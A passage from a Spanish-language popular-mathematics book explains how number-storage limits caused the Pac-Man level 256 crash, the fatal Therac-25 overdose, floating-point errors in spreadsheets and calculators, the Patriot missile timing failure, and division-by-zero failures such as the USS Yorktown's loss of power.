son	muchísimos,	 teniendo	en	cuenta	que	 la	mayoría	de	 la	gente	solo	 llega	a
ver	 el	 primero.	 Pero	 para	 aquellos	 con	 tiempo	 y	 monedas	 que	 gastar,	 hay
cientos	 de	 niveles	 para	 explorar	 (cierto	 es	 que	 todos	 son	 idénticos,	 excepto
por	el	comportamiento	de	los	fantasmas).	Dicho	esto,	no	he	pasado	del	nivel
7.	Necesito	ponerme	las	pilas.

El	 juego	no	falla	en	el	nivel	256	porque	no	pueda	almacenar	el	número.
Como	siempre,	los	programadores	empiezan	a	contar	desde	cero,	por	lo	que	el
nivel	 1	 se	 almacena	 como	 índice	 0,	 el	 nivel	 2	 es	 el	 índice	 1	 y	 así
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sucesivamente	 (utilizaré	 el	 término	 «índice»	 para	 referirme	 al	 número
almacenado,	a	diferencia	del	número	real	del	nivel).	El	nivel	256	se	almacena
como	 índice	 255,	 que	 es	 11111111	 en	 binario.	 No	 pasa	 nada.	 Incluso
avanzando	hasta	el	nivel	257	volvería	a	poner	el	índice	a	cero	y	devolvería	a
Pac-Man	 al	 primer	 laberinto.	 El	 juego	 debería	 ser	 jugable	 eternamente.	Así
pues,	¿por	qué	falla	en	el	nivel	256?

El	nivel	256	es	un	caos	absoluto.	O	estrictamente	hablando,	no	hay	waka	waka	wakas.

El	 problema	 es	 la	 fruta.	 Para	 añadir	 algo	de	 variedad	 a	 la	 dieta	 de	Pac-
Man	a	base	de	puntos	y	 fantasmas,	hay	ocho	 tipos	diferentes	de	 frutas,	que
aparecen	dos	veces	por	nivel	(incluyendo	una	campana	y	una	llave	que	parece
ser	 que	Pac-Man	 se	 come	 con	 la	misma	 facilidad	 con	 la	 que	 se	 zampa	una
manzana	o	una	fresa).	Cada	nivel	tiene	asignada	una	fruta	que	aparece	en	la
parte	baja	de	la	pantalla,	junto	con	la	última	fruta	que	se	ha	comido	Pac-Man.
Es	 este	 puesto	 ornamental	 de	 frutas	 el	 que	 causa	 el	 colapso	 completo	 del
juego.

El	 espacio	 digital	 en	 los	 sistemas	 informáticos	 antiguos	 era	 tan	 escaso
que,	en	el	juego	del	Pac-Man,	solo	se	almacenan	tres	números:	el	nivel	en	el
que	 estamos,	 cuántas	vidas	quedan	y	nuestra	puntuación.	Todo	 lo	demás	 es
eliminado	entre	niveles.	En	cada	nivel	estamos	jugando	contra	fantasmas	con
amnesia	que	no	recuerdan	la	cantidad	de	horas	que	llevamos	dándoles	guerra.
Por	 lo	que	el	 juego	necesita	 ser	 capaz	de	averiguar	qué	 fruta	ha	consumido
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Pac-Man	recientemente.	Solo	hay	espacio	para	mostrar	siete	piezas	de	fruta,
por	 lo	 que	 el	 juego	 tiene	 que	mostrar	 la	 fruta	 del	 nivel	 actual	 y	 de	 los	 seis
anteriores	(dependiendo	de	cuántos	niveles	se	han	jugado).

En	la	memoria	del	ordenador	existe	un	menú	con	la	fruta	y	el	orden	en	el
que	 aparecerán.	 Por	 lo	 que,	 si	 el	 nivel	 es	 inferior	 al	 7,	 dibuja	 tantas	 frutas
como	 el	 número	 del	 nivel	 (por	 encima	 de	 este,	 muestra	 las	 siete	 más
recientes).	El	problema	se	produce	cuando	el	código	coge	el	índice	del	nivel	y
lo	convierte	en	un	número	del	nivel	añadiendo	una	unidad.	El	nivel	256	es	el
índice	255,	el	cual	se	incrementa	en	una	unidad	para	pasar	a	ser…	el	nivel	0.
Cero	está	por	debajo	de	siete,	por	 lo	que	 intenta	mostrar	 todas	 las	piezas	de
fruta	 que	 marca	 el	 número	 del	 nivel.	 Lo	 cual	 estaría	 bien	 si	 dibujara	 cero
piezas	de	fruta,	pero,	 lamentablemente,	primero	muestra	 los	dibujos	y	 luego
cuenta.	El	código	dibuja	la	fruta	y	luego	resta	uno	del	número	del	nivel	hasta
que	llega	a	cero.

dibujar	fruta
restar	1	del	número	de	nivel
parar	si	el	número	de	nivel	es	cero
si	no	SEGUIR	DANDO	FRUTOS

Este	no	es	un	código	informático	real	del	Pac-Man.	Pero	sirve	para	hacerse	una	idea.

El	ordenador	 intentará	 ahora	dibujar	 256	piezas	de	 fruta	 en	 lugar	 de	 las
habituales	siete	o	menos	de	siete.	Bien,	digo	«fruta»,	pero	el	menú	de	frutas
falla	después	de	solo	veinte	líneas.	Para	las	veinte	primeras,	el	código	se	fija
en	 la	 siguiente	 posición	de	 la	memoria	 del	 ordenador	 e	 intenta	 interpretarla
como	 una	 pieza	 de	 fruta.	A	 continuación,	 sigue	 avanzando	 a	 lo	 largo	 de	 la
memoria	 como	 si	 esta	 fuera	 alguna	 tabla	 exótica	 de	 frutas	 extrañas	 y	 las
dibuja	 lo	mejor	 que	 puede.	 Algunas	 no	 coinciden	 con	 los	 símbolos	 que	 se
utilizan	en	el	juego	y,	como	si	fuera	una	colorida	interferencia,	la	pantalla	se
llena	de	letras	y	signos	de	puntuación.

Debido	 a	 una	 peculiaridad	 del	 sistema	 de	 coordenadas	 del	 PacMan,
después	 de	 que	 las	 frutas	 llenen	 la	 parte	 baja	 de	 la	 pantalla	 de	 derecha	 a
izquierda,	pasan	a	la	esquina	superior	derecha	y	empiezan	a	llenar	la	pantalla
columna	 a	 columna.	 Cuando	 se	 han	 dibujado	 256	 piezas	 de	 fruta,	 se	 ha
llenado	 la	mitad	 de	 la	 pantalla.	Aunque	parezca	 increíble,	 el	 juego	pone	 en
marcha	el	nivel,	pero	el	sistema	no	completa	un	nivel	hasta	que	Pac-Man	se
ha	comido	244	puntos.	En	este	último	nivel,	la	fruta	mutante	ha	destruido	un
montón	de	puntos,	por	lo	que	Pac-Man	nunca	puede	comerse	los	obligatorios
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244	y	está	condenado	a	vagar	por	lo	que	queda	de	su	laberinto	roto	hasta	que
aparece	el	hastío	y	sucumbe	ante	los	fantasmas	que	lo	persiguen.	Lo	que,	da
la	 casualidad,	 es	 casi	 exactamente	 lo	 mismo	 que	 sienten	 un	 montón	 de
programadores	cuando	intentan	acabar	de	escribir	su	código.

Código	mortal

El	 error	más	 peligroso	 que	 he	 encontrado	 jamás	 relacionado	 con	 el	 256	 se
produjo	en	la	máquina	de	radioterapia	Therac-25.	Estaba	diseñada	para	tratar
a	los	pacientes	con	cáncer	a	base	de	ráfagas,	o	de	un	haz	de	electrones	o	de
rayos	X	potentes.	Era	capaz	de	utilizar	ambos	tipos	de	radiación	en	la	misma
máquina,	ya	fuera	produciendo	una	corriente	de	poca	intensidad	de	haces	de
electrones	 a	 la	 que	 se	 exponía	 directamente	 al	 paciente,	 o	 mediante	 una
corriente	de	electrones	de	gran	intensidad	que	dirigía	hacia	una	placa	metálica
para	producir	los	rayos	X.

El	peligro	era	que	el	haz	de	electrones	necesario	para	producir	rayos	X	era
tan	 potente	 que	 podía	 causar	 graves	 daños	 al	 paciente	 si	 le	 alcanzaba
directamente.	Por	 lo	que,	 si	 se	aumentaba	 la	potencia	del	haz	de	electrones,
era	 fundamental	 asegurarse	 de	 que	 el	 objetivo	metálico	 y	 el	 colimador	 (un
filtro	 que	 concentra	 el	 haz	de	 rayos	X)	 se	 hubiera	 colocado	 entre	 el	 haz	 de
electrones	y	el	paciente.

Por	esto,	y	por	muchas	otras	razones	de	seguridad,	el	Therac-25	utilizaba
un	bucle	de	una	pieza	de	código	de	configuración,	y	solo	si	se	verificaba	que
todos	 los	 sistemas	 estaban	 ajustados	 de	 manera	 correcta,	 el	 rayo	 se	 podía
activar.	El	software	tenía	un	número	almacenado	con	el	nombre	pegadizo	de
Class3	 (así	 de	 creativos	 pueden	 llegar	 a	 ser	 los	 programadores	 cuando	 les
ponen	 nombres	 a	 sus	 variables).	 Solo	 después	 de	 que	 la	 Therac-25	 hubiera
verificado	que	todo	estaba	bien	establecería	que	Class3	=	0.

Para	 asegurarse	 de	 que	 se	 realizaba	 la	 comprobación	 todas	 las	 veces,	 el
código	 de	 ajuste	 en	 bucle	 le	 sumaba	 una	 unidad	 a	Class3	 al	 inicio	 de	 cada
bucle	 para	 que	 no	 empezase	 de	 cero.	 Una	 subrutina	 a	 la	 que	 se	 le	 dio	 un
nombre	 un	 poquito	más	 adecuado,	 Chkcol,	 se	 activaba	 siempre	 que	 Class3
fuese	diferente	a	cero	y	luego	comprobaba	el	colimador:	después	de	que	este
(y	 el	metal	 objetivo)	 hubiera	 sido	 comprobado	 y	 se	 hubiera	 verificado	 que
estaba	en	el	lugar	correcto,	Class3	se	podía	resetear	a	cero	y	se	podía	disparar
el	haz.

Por	desgracia,	el	número	Class3	se	almacenaba	como	un	número	binario
de	8	dígitos	que	volvería	a	ser	cero	después	de	haber	llegado	a	su	límite.	Y	el
bucle	de	configuración	se	repetía	una	y	otra	vez	mientras	esperaba	a	que	todo
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estuviera	 a	 punto,	 incrementando	 la	 variable	 Class3	 cada	 vez	 que	 se
ejecutaba.	 Por	 lo	 que	 cada	 256.ª	 vez	 que	 se	 ejecutaba	 el	 bucle	 de
configuración,	Class3	pasaba	a	ser	cero,	no	porque	la	máquina	fuese	segura,
sino	simplemente	porque	el	valor	había	llegado	a	255	y	vuelto	de	nuevo	a	ser
cero.

Eso	significa	que	aproximadamente	el	0,4%	de	las	veces,	el	Therac-25	se
saltaba	la	ejecución	de	Chkcol	porque	Class3	ya	era	igual	a	cero,	como	si	el
colimador	se	hubiese	comprobado	y	se	hubiese	verificado	que	se	hallaba	en	la
posición	correcta.	Para	un	error	con	esas	consecuencias	mortales,	el	0,4%	de
las	veces	es	un	porcentaje	aterrador.

El	 17	 de	 junio	 de	 1987,	 en	 el	 Yakima	 Valley	 Memorial	 Hospital
(actualmente,	 el	 Virginia	 Mason	 Hospital)	 del	 estado	 de	 Washington,	 en
Estados	Unidos,	un	paciente	se	disponía	a	recibir	ochenta	y	seis	rads	de	una
máquina	Therac-25	(rad	es	una	antigua	unidad	de	absorción	de	radiación).	Sin
embargo,	 antes	 de	 recibir	 su	 dosis	 de	 rayos	 X,	 el	 metal	 objetivo	 y	 el
colimador	 habían	 sido	 movidos	 fuera	 de	 su	 posición	 para	 que	 la	 máquina
pudiera	ser	alineada	usando	luz	visible.	No	se	volvieron	a	colocar	en	su	sitio.

El	operador	accionó	el	botón	de	«configuración»	en	el	momento	exacto	en
el	 que	 Class3	 había	 vuelto	 a	 ser	 cero,	 Chkcol	 no	 se	 ejecutó	 y	 el	 haz	 de
electrones	 se	 disparó	 sin	 que	 estuvieran	 en	 su	 lugar	 ni	 el	 objetivo	 ni	 el
colimador.	En	lugar	de	86	rads,	el	paciente	pudo	recibir	entre	8.000	y	10.000
rads.	Falleció	en	abril	de	ese	mismo	año	por	complicaciones	derivadas	de	la
sobredosis	de	radiación	que	recibió.

El	 arreglo	 del	 problema	 del	 software	 era	 preocupantemente	 sencillo:	 el
bucle	de	configuración	se	rescribió	de	tal	forma	que	daría	a	Class3	un	valor
específico	diferente	 a	 cero	 en	 lugar	 de	 incrementar	 su	 valor	 previo.	Da	que
pensar	 que	 cometer	 una	 negligencia	 en	 la	 forma	 en	 la	 que	 los	 ordenadores
hacen	un	seguimiento	de	los	números	puede	provocar	muertes	que	se	podrían
haber	evitado.

Cosas	en	las	que	los	ordenadores	no	son	excelentes

¿Cuánto	es	5	–	4	–	1?	No	es	una	pregunta	trampa:	la	respuesta	es	cero;	y	no
siempre	 resulta	 tan	 fácil	 como	 parece.	 Excel	 puede	 fallar.	 El	 sistema	 de
dígitos	binarios	utilizado	por	 los	ordenadores	para	almacenar	números	en	 la
memoria	digital	no	solo	provoca	errores	de	desbordamiento,	sino	que	deja	de
cumplir	con	las	matemáticas	aparentemente	más	sencillas.

Si	 cambio	ese	5	–	4	–	1	por	0,5	–	0,4	–	0,1,	 la	 respuesta	correcta	 sigue
siendo	 cero,	 pero	 la	 versión	 de	 Excel	 que	 estoy	 utilizando	 piensa	 que	 es	
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–2,77556E-17.	 Y,	 aunque	 −0,0000000000000000	277556	 puede	 que	 no	 sea
exactamente	cero,	sí	que	está	muy	cerca.	Por	lo	que	Excel	está	haciendo	algo
bien.	Pero	también	está	haciendo	algo	radicalmente	mal.

Ah,	bueno,	resulta	poco	práctico.

En	 resumen,	 algunos	 números	 provocan	 diferentes	 problemas	 de	 base
numérica.	Nuestros	 números	humanos	de	base	10	 son	 terribles	 a	 la	 hora	 de
tratar	 con	 tercios.	 Pero	 nos	 hemos	 acostumbrado	 a	 ello	 y	 lo	 podemos
compensar.	Matemáticas	rápidas:	¿cuánto	es	1	–	0,666666	–	0,333333?	Puede
que	su	instinto	le	diga	que	es	cero,	porque	1	–	2/3	–	1/3	=	0.	Pero	esos	dígitos
no	 son	 lo	mismo	que	⅔	 y	⅓,	 porque	para	 representarlos	con	exactitud	 son
necesarios	 infinitos	 seis	 y	 tres.	 La	 respuesta	 buena	 es	 0,000001,	 que	 es
ligeramente	distinto	a	cero	porque	solo	dispongo	de	un	espacio	limitado	para
escribir	las	versiones	decimales	de	⅔	y	⅓.	Si	sumamos	0,666666	y	0,333333
nos	da	0,999999,	no	1.

Los	 binarios	 tienen	 el	 mismo	 problema	 intentando	 almacenar	 algunas
fracciones.	Sumar	0,4	y	0,1	no	da	0,5	en	binario,	sino,	más	bien:

0,4	=	0,	0	1	1	0	0	1	1	0	0	1	1	0	0	.	.	.
0,1	=	0,	0	0	0	1	1	0	0	1	1	0	0	1	1	.	.	.

0,4	+	0,1	=	0,	0	1	1	1	1	1	1	1	1	1	1	1	1	.	.	.

Un	 ordenador	 no	 puede	 almacenar	 los	 infinitos	 dígitos	 de	 las	 versiones
binarias	 de	 0,1	 y	 0,4,	 por	 eso	 su	 suma	 no	 llega	 a	½[12].	 Pero	 dado	 que	 los
humanos	nos	hemos	acostumbrado	a	las	limitaciones	de	los	números	de	base
10,	 los	 ordenadores	 han	 sido	 programados	 para	 corregir	 los	 errores
introducidos	por	los	cálculos	binarios.

Si	introducimos	=	0,5	–	0,4	–	0,1	en	Excel,	lo	entenderá	bien.	Sabe	que	la
suma	 de	 0,0111111…	 debería	 ser	 exactamente	 ½.	 Sin	 embargo,	 si
introducimos	=	(0,5	–	0,4	–	0,1)	*	1,	arrastra	el	error.	Excel	no	comprueba	esta
clase	de	errores	durante	los	cálculos,	solo	al	final.	Al	hacer	como	último	paso
una	 inofensiva	 multiplicación	 por	 uno,	 le	 hemos	 dado	 a	 Excel	 una	 falsa
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sensación	 de	 seguridad.	 Y	 por	 eso	 no	 analiza	 la	 respuesta	 antes	 de
presentárnosla.

Los	programadores	de	Excel	afirman	que	no	son	los	responsables	directos.
Se	adhieren	a	los	estándares	del	Instituto	de	Ingeniería	Eléctrica	y	Electrónica
(IEEE	 por	 sus	 siglas	 en	 inglés)	 relativos	 a	 la	 aritmética	 realizada	 por
ordenadores,	con	solo	unas	pocas	variaciones	en	la	forma	en	la	que	tratan	los
casos	inusuales.	El	IEEE	estableció	el	estándar	754	en	1985	(actualizado	más
recientemente	en	2008)	para	acordar	el	modo	en	que	los	ordenadores	deberían
lidiar	 idealmente	 con	 las	 limitaciones	 de	 hacer	 cálculos	 matemáticos	 con
números	binarios	de	precisión	finita[13].

Dado	que	son	fruto	de	los	mismos	estándares,	veremos	aparecer	la	misma
clase	 de	 problemas	 siempre	 que	 le	 pidamos	 a	 un	 ordenador	 que	 realice	 las
operaciones	 matemáticas	 por	 nosotros.	 Incluyendo	 los	 teléfonos	 modernos.
Imagínese	 que	 está	 planeando	 su	 agenda.	 ¿Qué	 haría	 si	 necesitara	 saber
cuántos	 pares	 de	 semanas	 hay	 en	 setenta	 y	 cinco	 días?	 La	 mayoría	 de
personas	abrirían	la	aplicación	calculadora.	Pero	le	puedo	garantizar	que	usted
resolverá	mejor	este	problema	que	una	calculadora.

Coja	su	teléfono	y	abra	la	aplicación	de	la	calculadora.	Si	introduce	75	÷
14,	la	respuesta	5,35714286…	aparecerá	instantáneamente	en	la	pantalla.	Por
lo	que	setenta	y	cinco	días	son	un	poco	más	de	cinco	pares	de	semanas.	Para
saber	 cuántos	 días	 extra	 hay,	 reste	 cinco	 y	 multiplique	 los	 restantes
0,35714286…	de	un	par	de	semanas	por	catorce.	Lo	que	ahora	le	muestra	su
calculadora	no	es	correcto.

En	 algunos	 teléfonos	 la	 respuesta	 será	 5,00000001	 o	muy	 parecida.	 En
otros,	el	resultado	será	4,9999999994.	Los	propietarios	de	un	iPhone	podrán
ver	la	respuesta	correcta,	5,	pero	eso	no	les	da	derecho	a	ser	petulantes;	gire	el
iPhone	 para	 que	 la	 calculadora	 cambie	 a	 modo	 científico	 y,	 en	 versiones
antiguas	de	 iOS,	 la	 respuesta	 completa	 será	 revelada:	4,9999999999.	Acabo
de	abrir	el	programa	de	la	calculadora	en	mi	ordenador	y	da	como	respuesta
5,00000000000004.	 Debido	 a	 las	 limitaciones	 de	 los	 números	 binarios,	 los
ordenadores	 se	 acercan	 mucho,	 pero	 no	 completamente.	 Al	 igual	 que
cualquier	producto	alimenticio	con	la	palabra	«light»	en	su	título,	siempre	es
un	poco	media	verdad.

Los	peligros	del	truncamiento

En	el	escenario	a	vida	o	muerte	de	la	guerra,	un	simple	error	puede	provocar
la	 pérdida	 de	 muchas	 vidas.	 Y,	 aunque	 las	 guerras	 están	 indisolublemente
vinculadas	a	la	política,	creo	que	todavía	podemos	analizar	de	forma	objetiva
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cómo	pequeños	errores	matemáticos	pueden	provocar	 resultados	desastrosos
en	 cuanto	 al	 coste	 de	 vidas	 humanas.	 Incluso	 un	 error	 matemático	 tan
pequeño	como	de	un	0,00009536743164%.

El	25	de	febrero	de	1991,	durante	la	primera	guerra	del	Golfo,	se	disparó
un	misil	Scud	contra	 los	barracones	del	ejército	de	Estados	Unidos	cerca	de
Dhahran,	Arabia	Saudí.	Al	 ejército	 estadounidense	no	 le	 sorprendió,	ya	que
disponían	 de	 un	 «sistema	 de	 defensa	 de	 misiles	 Patriot»	 para	 detectarlos,
seguirlos	 e	 interceptar	 cualquier	 misil	 de	 ese	 tipo.	 Utilizando	 el	 radar,	 el
Patriot	detectaría	un	misil	entrante,	calcularía	su	velocidad	y	la	utilizaría	para
seguir	sus	movimientos	hasta	que	se	disparara	un	contramisil	para	destruirlo.
Excepto	 que	 un	 descuido	matemático	 en	 el	 código	 del	 Patriot	 haría	 que	 lo
perdiera.

Diseñado	 originalmente	 como	 un	 sistema	 portátil	 para	 interceptar	 los
aviones	 enemigos,	 la	 batería	 Patriot	 se	 había	 actualizado	 a	 tiempo	 para	 la
guerra	del	Golfo,	para	así	poder	 ser	utilizada	para	defenderse	de	 los	misiles
Scud,	 mucho	 más	 veloces,	 que	 podían	 viajar	 a	 velocidades	 increíbles	 que
rondaban	los	6.000	km/h.	Los	Patriots	de	la	guerra	del	Golfo	se	colocaban	en
posiciones	 estáticas	 en	 lugar	 de	 estar	 en	 movimiento,	 que	 es	 para	 lo	 que
fueron	diseñados.

Estar	 inmóvil	 implicaba	 que	 los	 sistemas	 del	 Patriot	 no	 se	 encendían	 y
apagaban	rutinariamente	(esto,	como	ya	hemos	visto	con	anterioridad,	puede
producir	 algunos	 problemas	 con	 el	 control	 del	 tiempo	 interno).	 El	 sistema
utilizaba	un	número	binario	de	24	dígitos	(3	bytes)	para	almacenar	el	tiempo
en	 décimas	 de	 segundo	 desde	 la	 última	 vez	 que	 se	 puso	 en	marcha,	 lo	 que
significaba	 que	 podía	 funcionar	 durante	 19	 días,	 10	 horas,	 2	minutos	 y	 1,6
segundos	antes	de	que	se	produjera	un	error	de	desbordamiento.	Y	debió	de
parecerles	mucho	tiempo	cuando	lo	estaban	diseñando.

El	problema	fue	cómo	ese	número	de	décimas	de	segundo	era	convertido
en	 valor	 de	 coma	 flotante	 que	 equivalía	 a	 los	 segundos	 exactos.	 Las
matemáticas	 implicadas	 son	bastante	 sencillas:	 se	multiplica	por	0,1,	que	es
como	si	se	dividiera	por	diez.	Pero	el	sistema	del	Patriot	almacenaba	el	1/10
como	 un	 número	 binario	 de	 24	 bits,	 provocando	 exactamente	 el	 mismo
problema	que	tenía	Excel	cuando	restamos	0,4	y	0,1	de	0,5:	está	mal	por	una
diminuta	cantidad.

0,00011001100110011001100	(base	2)	=	0,099999904632568359375	(base
10)

0,1	–	0,099999904632568359375	=	0,000000095367431640625
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Este	es	el	error	absoluto	para	0,1	segundos,	un	error	del	0,000095367431640625%.

Puede	que	un	error	de	0,000095%	no	parezca	gran	cosa:	solo	erróneo	por
unas	millonésimas.	Y	cuando	el	valor	del	tiempo	es	pequeño,	el	error	también
lo	es.	Pero	el	problema	con	un	error	de	porcentaje	es	que,	cuanto	más	grande
se	hace	el	valor,	más	crece	el	error.	Cuanto	más	tiempo	estaba	en	marcha	el
sistema	Patriot,	mayor	 era	 el	 valor	 del	 tiempo	y	mayor	 el	 error	 acumulado.
Cuando	se	lanzó	el	misil	Scud,	el	cercano	sistema	Patriot	llevaba	en	marcha
de	forma	continua	unas	cien	horas,	aproximadamente	360.000	segundos.	Eso
es,	más	o	menos,	un	tercio	de	un	millón	de	segundos.	Por	lo	que	el	error	era
de	un	tercio	de	un	segundo.

Puede	que	un	tercio	de	segundo	no	parezca	mucho	tiempo	hasta	que	estás
siguiendo	a	un	misil	que	va	a	6.000	km/h.	En	un	tercio	de	segundo,	un	misil
Scud	 se	 puede	 haber	 desplazado	 500	 metros.	 Es	 muy	 difícil	 seguir	 e
interceptar	algo	que	está	a	medio	kilómetro	de	distancia	del	 lugar	en	el	que
esperabas	que	estuviera.

El	sistema	Patriot	 fue	 incapaz	de	detener	el	misil	Scud	y	este	alcanzó	 la
base	 estadounidense,	matando	 a	 veintiocho	 soldados	 e	 hiriendo	 a	 unas	 cien
personas	más.

Es	otra	costosa	lección	sobre	la	importancia	de	conocer	los	límites	de	los
números	binarios.	Pero	en	esta	ocasión	 trajo	otra	 lección	añadida	cuando	se
trata	 de	 arreglar	 los	 errores	 cometidos.	 Cuando	 se	 actualizó	 para	 seguir	 el
rastro	 a	 los	misiles	Scud,	mucho	más	 veloces,	 el	método	de	 conversión	del
tiempo	también	se	actualizó,	pero	no	de	forma	global.	Algunas	conversiones
de	tiempo	del	sistema	todavía	utilizaban	el	antiguo	método.

Irónicamente,	 si	 el	 sistema	 se	 hubiera	 alejado	 del	 tiempo	 de	 forma
mantenida,	todavía	podría	haber	funcionado	correctamente.	Seguir	la	pista	de
un	misil	 exige	 un	 seguimiento	 preciso	 de	 las	 diferencias	 temporales,	 por	 lo
que	 un	 error	 generalizado	 se	 podría	 haber	 contrarrestado.	 Pero,	 en	 esta
ocasión,	 partes	diferentes	del	 sistema	estaban	utilizando	distintos	niveles	de
precisión	 en	 su	 conversión	 y	 apareció	 la	 discrepancia.	 La	 actualización
incompleta	es	la	razón	por	la	que	el	sistema	no	pudo	detectar	el	misil	que	se
dirigía	hacia	la	base.

Más	deprimente	todavía	es	que	el	ejército	de	Estados	Unidos	conocía	este
problema,	y	el	16	de	febrero	de	1991,	presentó	una	nueva	versión	del	software
para	arreglarlo.	Como	se	necesitó	cierto	 tiempo	para	distribuirlo	a	 todos	 los
sistemas	Patriot,	también	se	envió	un	mensaje	para	advertir	a	los	usuarios	de
Patriot	 de	 que	 no	 permitieran	 que	 el	 sistema	 funcionase	 de	 forma	 continua
durante	 largos	 periodos	 de	 tiempo.	 Pero	 no	 se	 especificó	 en	 qué	 consistía
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exactamente	eso	de	«durante	largos	periodos	de	tiempo».	Al	igual	que	ocurre
con	 los	 problemas	 matemáticos,	 veintiocho	 muertes	 también	 fueron	 el
resultado	de	arreglar	deficientemente	un	código	y	de	 la	 falta	de	un	mensaje
claro	que	dijera,	por	ejemplo,	que	lo	reiniciaran	una	vez	al	día.

El	parche	del	software	llegó	a	la	base	de	Dhahran	el	26	de	febrero.	El	día
posterior	al	ataque	del	misil.

Nada	de	lo	que	preocuparse

En	 matemáticas,	 es	 imposible	 dividir	 números	 por	 cero.	 Este	 tema	 ha
propiciado	más	de	una	discusión	en	internet,	con	personas	bienintencionadas
que	aseguraban	que	la	respuesta	al	dividir	por	cero	es	infinito.	Excepto	que	no
lo	es.	El	argumento	es	que	si	cogemos	1/x	y	permitimos	que	x	se	acerque	cada
vez	 más	 a	 cero,	 el	 valor	 crecerá	 rápidamente	 convirtiéndose	 en	 una	 cifra
infinitamente	grande.	Lo	cual	es	una	verdad	a	medias.
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Esta	línea	muestra	el	resultado	de	dividir	uno	por	números	cercanos	a	cero.

Solo	 es	 cierto	 si	 nos	 aproximamos	 a	 él	 desde	 la	 dirección	 positiva;	 si	 x
empieza	siendo	negativo	y	luego	se	acerca	a	cero	desde	abajo,	el	valor	de	1/x
se	dirige	hacia	el	 infinito	negativo,	en	una	dirección	completamente	opuesta
al	anterior.	Si	el	valor	limitante	es	diferente	dependiendo	de	la	dirección	en	la
que	 nos	 aproximamos,	 en	 matemáticas	 decimos	 que	 el	 límite	 es
«indeterminado».	No	puedes	dividirlo	por	cero.	El	límite	no	existe.

Pero	 ¿qué	 ocurre	 cuando	 los	 ordenadores	 intentan	 dividir	 por	 cero?	 A
menos	que	les	hayan	dicho	explícitamente	que	no	pueden	dividir	por	cero,	lo
intentan	ingenuamente.	Y	los	resultados	pueden	ser	espantosos.

Los	 circuitos	 informáticos	 son	muy	 buenos	 sumando	 y	 restando,	 por	 lo
que	 las	 matemáticas	 que	 hacen	 están	 construidas	 a	 partir	 de	 ahí.	 La
multiplicación	 es	 solo	 una	 suma	 repetida,	 lo	 cual	 es	 bastante	 fácil	 de
programar.	La	división	es	solo	un	poco	más	complicada:	es	una	resta	repetida
y	luego	puede	haber	algún	resto.	Por	lo	que	dividir	42	entre	9	implica	restar	9
todas	las	veces	posibles,	descontando	9	de	la	cifra	inicial:	42,	33,	24,	15	y	6.
Han	sido	cuatro	pasos,	por	lo	que	42	÷	9	=	4,6666…
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Si	a	un	ordenador	le	pedimos	que	calcule	42	÷	0,	este	método	para	dividir
falla.	 O	 más	 bien,	 nunca	 falla,	 pero	 sigue	 infinitamente.	 Tengo	 una
calculadora	personal	Casio	mini	de	1975	en	mis	manos.	Si	le	pido	que	calcule
42	÷	0,	la	pantalla	se	llena	de	ceros	como	si	se	hubiera	estropeado,	hasta	que
le	doy	al	botón	«ver	dígitos	extra»	y	la	calculadora	revela	que	está	intentando
obtener	una	respuesta	y	esa	respuesta	no	para	de	crecer.	La	pobre	Casio	está
restando	 constantemente	 cero	 de	 cuarenta	 y	 dos	 y	 llevando	 la	 cuenta	 de
cuántas	veces	lo	ha	hecho.

Incluso	 las	 calculadoras	 mecánicas	 más	 antiguas	 tenían	 el	 mismo
problema.	 Excepto	 que	 tenían	 una	 manivela	 y	 necesitaban	 que	 un	 humano
estuviera	 accionándolas	 durante	 los	 cálculos	 mientras	 ellas	 continuaban	 su
inútil	misión	de	restar	ceros.	Para	la	gente	auténticamente	perezosa	del	pasado
existían	calculadoras	electromecánicas	que	 tenían	un	motor	 incorporado	que
aportaba	la	energía	para	realizar	los	cálculos	de	forma	automática.	Hay	vídeos
en	 internet	 de	 personas	 haciendo	 una	 división	 entre	 cero	 con	 una	 de	 estas
máquinas;	el	resultado	de	lo	cual	era	estar	operando	eternamente	(o	hasta	que
ya	no	se	aportaba	energía).

Una	forma	fácil	de	arreglar	este	problema	en	los	ordenadores	modernos	es
añadir	 una	 línea	 extra	 al	 código	 con	 la	 que	 se	 le	 dice	 al	 ordenador	 que	 ni
siquiera	se	moleste.	Si	está	escribiendo	un	programa	informático	para	dividir
el	número	a	por	el	número	b,	este	es	un	pseudocódigo	sobre	cómo	se	podría
definir	la	función	para	evitar	el	problema:

def	dividing(a,b):
if	b	=	0:	return	‘Error’
else:	return	a/b
En	 el	 momento	 de	 escribir	 esto,	 el	 último	 iPhone	 debe	 tener	 algo	 casi

exacto	 a	 lo	 anterior.	 Si	 escribo	 42	 ÷	 0	 aparece	 la	 palabra	 «Error»	 en	 la
pantalla	y	evita	seguir	adelante	con	la	operación.	La	calculadora	incorporada
en	 mi	 ordenador	 va	 un	 paso	 más	 allá	 y	 muestra	 el	 mensaje	 «No	 es	 un
número».	Mi	 calculadora	 de	 bolsillo	 (Casio	 fx-991EX)	 da	 «MathERROR».
He	hecho	vídeos	de	unboxing	con	calculadoras	en	las	que	las	desempaqueto	y
las	analizo.	(Más	de	tres	millones	de	visitas	y	subiendo.)	Una	de	las	pruebas
que	siempre	realizo	es	dividir	entre	cero	y	comprobar	qué	hace	la	calculadora.
La	mayoría	se	comportan	muy	bien.

Pero,	 como	 siempre,	 algunas	 calculadoras	 se	 cuelan.	 Y	 no	 solo	 las
calculadoras:	 los	buques	de	guerra	de	 la	Marina	de	Estados	Unidos	 también
pueden	 obtener	 divisiones	 entre	 cero	 erróneas.	 En	 septiembre	 de	 1997,	 el
crucero	USS	Yorktown	 se	 quedó	 sin	 potencia	 porque	 su	 sistema	de	 control
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informático	 intentó	 dividir	 entre	 cero.	 La	Marina	 lo	 estaba	 utilizando	 para
probar	su	proyecto	Smart	Ship:	utilizar	ordenadores	que	ejecutaban	Windows
en	 barcos	 de	 guerra	 para	 automatizar	 parte	 del	 funcionamiento	 del	 barco	 y
reducir	la	tripulación	en	aproximadamente	un	10%.	Dado	que	el	barco	estuvo
flotando	 a	 la	 deriva	 durante	más	 de	 dos	 horas,	 está	 claro	 que	 tuvo	 éxito	 en
cuanto	a	dar	a	la	tripulación	más	tiempo	libre.

La	frecuencia	con	la	que	aparecen	ejemplos	militares	de	matemáticas	que
salen	mal	no	es	porque	las	fuerzas	armadas	estén	especialmente	negadas	para
las	 matemáticas.	 En	 parte,	 es	 porque	 se	 dedican	 a	 la	 investigación	 y	 al
desarrollo,	por	lo	que	están	en	la	vanguardia	de	lo	que	se	puede	hacer,	lo	cual
invita	a	que	se	cometan	errores.	Además,	tienen	cierta	obligación	pública	de
informar	 sobre	 las	 cosas	 que	 han	 salido	 mal.	 Obviamente,	 un	 montón	 de
